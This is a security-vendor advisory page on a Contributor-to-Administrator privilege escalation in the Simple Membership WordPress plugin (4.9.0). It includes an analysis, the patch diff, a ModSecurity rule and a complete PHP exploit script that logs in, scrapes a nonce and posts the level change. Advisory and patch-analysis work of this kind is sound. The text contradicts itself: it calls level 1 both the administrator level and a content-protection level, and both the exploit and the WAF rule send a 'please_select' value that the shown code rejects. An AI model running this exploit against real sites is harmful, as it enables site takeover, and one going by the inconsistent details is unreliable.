Published : November 26, 2026

CVE-2026-135627: Simple Membership <= 4.9.0 Authenticated (Contributor+) Privilege Escalation to Administrator via 'swpm_bulk_change_level_to' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 269
Vulnerable Version 4.9.0
Patched Version 4.9.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135627: Simple Membership versions up to 4.9.0 contain an authenticated privilege escalation vulnerability. The `bulk_operation_menu()` function in `classes/class.swpm-members.php` accepts the `swpm_bulk_change_level_to` parameter from `$_REQUEST` with only `sanitize_text_field()` applied, then passes it to `SwpmMemberUtils::update_membership_level_and_role()` without enforcing the `id != 1` allowlist exclusion. Membership level 1 maps to the WordPress `administrator` role on every fresh install. An attacker with Contributor-level access can change their own membership level to 1 and gain full Administrator privileges. CVSS score 7.5 (High).

Root Cause: The vulnerability resides in the `bulk_operation_menu()` method within `classes/class.swpm-members.php` (around lines 565-575 in the vulnerable version). The method reads `swpm_bulk_change_level_to` from `$_REQUEST` and only sanitizes it with `sanitize_text_field()`. It fails to verify that the target level is not 1, which the plugin reserves as the built-in administrator level. Every other level-selection path in the plugin enforces an `id != 1` exclusion. Additionally, there is no capability check, so any user who can access the bulk operation screen (granted via the plugin’s “Admin Dashboard Access Permission” setting) can invoke the bulk change. The nonce check (`swpm_bulk_change_level_nonce_action`) is present but does not mitigate the issue because the nonce is emitted on the same page the lower-role user can already reach.

Exploitation: An authenticated attacker with Contributor privileges (or higher) first ensures the plugin’s Admin Dashboard Access Permission is set to a lesser capability such as `edit_posts`. The attacker then accesses the bulk operation screen (typically `wp-admin/admin.php?page=simple_wp_membership&action=bulk_operation` or similar) and submits a POST request to the same page with `swpm_bulk_change_level_to=1` and a valid nonce for `swpm_bulk_change_level_nonce_action`. The `bulk_operation_menu()` function processes the request, updates the attacker’s membership level to 1, and subsequently their WordPress role to `administrator`. The attacker gains full site control.

Patch Analysis: Version 4.9.1 introduces several fixes. In `classes/class.swpm-members.php`, the bulk operation now validates that the target level is not 1 and exists, and checks `SwpmMemberUtils::current_user_can_use_level()` before proceeding. The new methods `current_user_can_use_role()` and `current_user_can_use_level()` in `classes/class.swpm-utils-member.php` ensure that only users with `manage_options` (site administrators) can assign or use membership levels whose associated WordPress role has admin capabilities (`manage_options` or `promote_users`). Additional checks were added to member registration and editing forms (`classes/class.swpm-admin-registration.php`) and to level forms (`classes/class.swpm-level-form.php`) to prevent lower-privileged users from creating or modifying roles with admin powers. Payment button creation/edit screens now also enforce the level capability check. These changes close the privilege escalation path by ensuring that only site administrators can assign administrative roles through any plugin interface.

Impact: Successful exploitation allows an authenticated attacker with Contributor-level access to elevate their own WordPress account to the full Administrator role. This grants complete site control, including plugin installation, user creation, content modification, and access to all administrative capabilities. The vulnerability could lead to site takeover, data theft, defacement, or further compromise of the underlying server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-membership/classes/class.swpm-admin-registration.php
+++ b/simple-membership/classes/class.swpm-admin-registration.php
@@ -31,6 +31,12 @@
 		if ( $form->is_valid() ) {
 			$member_info = $form->get_sanitized_member_form_data();

+			//Only a site administrator can put a member in a level whose role has admin powers.
+			if ( isset( $member_info['membership_level'] ) && ! SwpmMemberUtils::current_user_can_use_level( $member_info['membership_level'] ) ) {
+				SwpmTransfer::get_instance()->set( 'status', self::level_not_allowed_message() );
+				return;
+			}
+
                         //First, check if email or username belongs to an existing admin user. Bail if it does.
                         SwpmMemberUtils::check_and_die_if_email_belongs_to_admin_user($member_info['email']);
                         SwpmMemberUtils::check_and_die_if_username_belongs_to_admin_user($member_info['user_name']);
@@ -124,6 +130,11 @@
 		$form = new SwpmForm( $member );
 		if ( $form->is_valid() ) {
 			$member         = $form->get_sanitized_member_form_data();
+			//Only a site administrator can move a member to a level whose role has admin powers (checked when the level changes).
+			if ( isset( $member['membership_level'] ) && $member['membership_level'] != $prev_level && ! SwpmMemberUtils::current_user_can_use_level( $member['membership_level'] ) ) {
+				SwpmTransfer::get_instance()->set( 'status', self::level_not_allowed_message() );
+				return;
+			}
 			$plain_password = isset( $member['plain_password'] ) ? $member['plain_password'] : '';

             // Important: Get the currently logged in member's ID before calling the update_wp_user() function (since this function can invalidate the auth cookie if password is updated).
@@ -240,6 +251,15 @@
 		SwpmTransfer::get_instance()->set( 'status', $message );
 	}

+	/** The error message when the current user can't use the selected membership level (see SwpmMemberUtils::current_user_can_use_level()). */
+	private static function level_not_allowed_message() {
+		return array(
+			'succeeded' => false,
+			'message'   => __( 'Please correct the following:', 'simple-membership' ),
+			'extra'     => array( 'membership_level' => __( 'Only a site administrator can put a member in a membership level whose WordPress role has administrator permissions.', 'simple-membership' ) ),
+		);
+	}
+
 	public function handle_manual_approval( $member_id ) {
 		//Check we are on the admin end and user has management permission
 		SwpmMiscUtils::check_user_permission_and_is_admin( 'member edit by admin' );
--- a/simple-membership/classes/class.swpm-level-form.php
+++ b/simple-membership/classes/class.swpm-level-form.php
@@ -31,8 +31,13 @@
     }

     protected function role() {
-        $role = filter_input(INPUT_POST, 'role');
-        $this->sanitized['role'] = sanitize_text_field($role);
+        $role = sanitize_text_field( (string) filter_input(INPUT_POST, 'role') );
+        //Only a site administrator can give a level a role with admin powers (the plugin's dashboard can be opened to other users).
+        if ( ! SwpmMemberUtils::current_user_can_use_role( $role ) ) {
+            $this->errors['role'] = __( 'Only a site administrator can give a membership level a WordPress role with administrator permissions.', 'simple-membership' );
+            return;
+        }
+        $this->sanitized['role'] = $role;
     }

     protected function permissions() {
--- a/simple-membership/classes/class.swpm-members.php
+++ b/simple-membership/classes/class.swpm-members.php
@@ -565,6 +565,12 @@

 			if ( $from_level_id == 'please_select' || $to_level_id == 'please_select' ) {
 				$error_msg = SwpmUtils::_( 'Error! Please select a membership level first.' );
+			} elseif ( 1 === absint( $to_level_id ) || ! SwpmUtils::get_membership_level_row_by_id( absint( $to_level_id ) ) ) {
+				//Members are never put in level 1 (the built-in level used for content protection), or in a level that doesn't exist.
+				$error_msg = __( 'Error! The selected membership level is not valid.', 'simple-membership' );
+			} elseif ( ! SwpmMemberUtils::current_user_can_use_level( $to_level_id ) ) {
+				//Only a site administrator can move members to a level whose role has admin powers.
+				$error_msg = __( 'Error! Only a site administrator can move members to a membership level whose WordPress role has administrator permissions.', 'simple-membership' );
 			}

 			if ( empty( $error_msg ) ) {//No validation errors so go ahead
--- a/simple-membership/classes/class.swpm-utils-member.php
+++ b/simple-membership/classes/class.swpm-utils-member.php
@@ -656,6 +656,69 @@
 	}

 	/**
+	 * True if the WordPress role has admin powers: the administrator role, or a role that can manage the site's
+	 * options (manage_options) or change user roles (promote_users).
+	 *
+	 * @param string $role The role key.
+	 * @return bool
+	 */
+	public static function is_admin_capable_role( $role ) {
+		$role = is_string( $role ) ? trim( $role ) : '';
+		if ( '' === $role ) {
+			return false;
+		}
+		if ( 'administrator' === $role ) {
+			return true;
+		}
+		$role_object = get_role( $role );
+		return $role_object && ( $role_object->has_cap( 'manage_options' ) || $role_object->has_cap( 'promote_users' ) );
+	}
+
+	/**
+	 * True if the current user can give a membership level this WordPress role.
+	 * A role with admin powers can only be used by a site administrator (manage_options). The "Admin Dashboard Access
+	 * Permission" setting can open the plugin's dashboard to other users (example: Editors), who must not be able to
+	 * give anyone (themselves included) admin powers.
+	 *
+	 * @param string $role The role key.
+	 * @return bool
+	 */
+	public static function current_user_can_use_role( $role ) {
+		return current_user_can( 'manage_options' ) || ! self::is_admin_capable_role( $role );
+	}
+
+	/**
+	 * True if the current user can put members in this membership level (or sell it with a payment button), from the
+	 * admin dashboard. Only a site administrator (manage_options) can use a level whose WordPress role has admin powers
+	 * (level 1, and levels the site owner gave such a role). A level that doesn't exist is not checked here.
+	 * Payments for a level are not checked: the site owner set up the level and its payment button.
+	 *
+	 * @param int|string $level_id The membership level ID.
+	 * @return bool
+	 */
+	public static function current_user_can_use_level( $level_id ) {
+		if ( current_user_can( 'manage_options' ) ) {
+			return true;
+		}
+		$level = SwpmUtils::get_membership_level_row_by_id( absint( $level_id ) );
+		if ( ! $level ) {
+			return true;
+		}
+		return ! self::is_admin_capable_role( $level->role );
+	}
+
+	/**
+	 * Stops the request if the current user can't use the membership level (see current_user_can_use_level()).
+	 *
+	 * @param int|string $level_id The membership level ID.
+	 */
+	public static function check_and_die_if_level_not_allowed_for_current_user( $level_id ) {
+		if ( ! self::current_user_can_use_level( $level_id ) ) {
+			wp_die( esc_html__( 'Error! Only a site administrator can use a membership level whose WordPress role has administrator permissions.', 'simple-membership' ) );
+		}
+	}
+
+	/**
 	 * Returns the "WordPress Role After Expiry" value of a membership level.
 	 * An empty value means the feature is not used for that level (no role change on expiry or payment).
 	 *
--- a/simple-membership/ipn/swpm_handle_subsc_ipn.php
+++ b/simple-membership/ipn/swpm_handle_subsc_ipn.php
@@ -213,9 +213,9 @@
 		$data['country']               = isset( $ipn_data['address_country'] ) ? $ipn_data['address_country'] : '';
 		$data['member_since']          = $data['subscription_starts'] = $data['last_accessed'] = SwpmUtils::get_current_date_in_wp_zone();
 		$data['account_state']         = $default_account_status;
-		$reg_code                      = uniqid();
-		$md5_code                      = md5( $reg_code );
-		$data['reg_code']              = $md5_code;
+		//The registration code of the paid registration link: random (not based on the time, so it can't be guessed).
+		//Same format as before (32 lowercase hexadecimal characters).
+		$data['reg_code']              = bin2hex( random_bytes( 16 ) );
 		$data['referrer']              = $data['txn_id'] = '';
 		$data['last_accessed_from_ip'] = isset( $custom_vars['user_ip'] ) ? $custom_vars['user_ip'] : ''; // Save the users IP address.

@@ -239,7 +239,7 @@
 		$reg_url = add_query_arg(
 			array(
 				'member_id' => $member_id,
-				'code' => $md5_code,
+				'code' => $data['reg_code'],
 			),
 			$rego_page_url
 		);
--- a/simple-membership/simple-wp-membership.php
+++ b/simple-membership/simple-wp-membership.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Simple Membership
-Version: 4.9.0
+Version: 4.9.1
 Plugin URI: https://simple-membership-plugin.com/
 Author: smp7, wp.insider
 Author URI: https://simple-membership-plugin.com/
@@ -19,7 +19,7 @@
 }

 //Define plugin constants
-define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.9.0' );
+define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.9.1' );
 define( 'SIMPLE_WP_MEMBERSHIP_DB_VER', '1.6' );
 define( 'SIMPLE_WP_MEMBERSHIP_SITE_HOME_URL', home_url() );
 define( 'SIMPLE_WP_MEMBERSHIP_PATH', dirname( __FILE__ ) . '/' );
--- a/simple-membership/views/payments/admin_create_payment_buttons.php
+++ b/simple-membership/views/payments/admin_create_payment_buttons.php
@@ -13,6 +13,10 @@
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_stripe_sca_subscription_button.php';
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_braintree_buy_now_button.php';

+//A payment for a level gives the level's role: only a site administrator can save a button for a level whose role has admin powers (all button types).
+if ( isset( $_REQUEST['membership_level_id'] ) ) {
+	SwpmMemberUtils::check_and_die_if_level_not_allowed_for_current_user( sanitize_text_field( $_REQUEST['membership_level_id'] ) );
+}
 do_action( 'swpm_create_new_button_process_submission' ); //Addons can use this hook to save the data after the form submit then redirect to the "edit" interface of that newly created button.
 ?>

--- a/simple-membership/views/payments/admin_edit_payment_buttons.php
+++ b/simple-membership/views/payments/admin_edit_payment_buttons.php
@@ -13,6 +13,10 @@
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_stripe_sca_subscription_button.php';
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_braintree_buy_now_button.php';

+//A payment for a level gives the level's role: only a site administrator can save a button for a level whose role has admin powers (all button types).
+if ( isset( $_REQUEST['membership_level_id'] ) ) {
+	SwpmMemberUtils::check_and_die_if_level_not_allowed_for_current_user( sanitize_text_field( $_REQUEST['membership_level_id'] ) );
+}
 do_action( 'swpm_edit_payment_button_process_submission' ); //Addons can use this hook to save the data after the form submit.
 ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin.php" "id:20261356,phase:2,deny,status:403,chain,msg:'CVE-2026-135627 via Simple Membership bulk operation privilege escalation',severity:'CRITICAL',tag:'CVE-2026-135627'"
  SecRule ARGS_POST:swpm_bulk_change_level_to "@streq 1" "chain"
    SecRule ARGS_POST:swpm_bulk_change_level_from "@streq please_select" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135627 - Simple Membership <= 4.9.0 - Authenticated (Contributor+) Privilege Escalation to Administrator via 'swpm_bulk_change_level_to' Parameter

$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'contributor_user'; // A Contributor-level account
$password = 'password'; // Password for the account

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Extract the nonce from the bulk operation page
// The bulk operation page is typically accessible via the plugin menu.
// We'll assume the page URL is known or can be discovered.
$bulk_page_url = $target_url . '/wp-admin/admin.php?page=simple_wp_membership&action=bulk_operation';
curl_setopt($ch, CURLOPT_URL, $bulk_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce for swpm_bulk_change_level_nonce_action
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
    die("Could not find nonce. The bulk operation page might not be accessible.n");
}
$nonce = $matches[1];

// Step 3: Send the malicious bulk change request
$exploit_url = $target_url . '/wp-admin/admin.php?page=simple_wp_membership&action=bulk_operation';
$post_fields = http_build_query([
    'swpm_bulk_change_level_to' => '1', // Level 1 = administrator role
    'swpm_bulk_change_level_from' => 'please_select', // Trigger the bulk change
    'members[]' => '1', // Assuming the attacker's member ID is 1; adjust as needed
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=simple_wp_membership&action=bulk_operation'
]);

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check for success (e.g., no error message)
if (strpos($response, 'Error!') === false) {
    echo "Exploit sent. Check if your account now has administrator privileges.n";
} else {
    echo "Exploit may have failed. Response snippet: " . substr($response, 0, 500) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.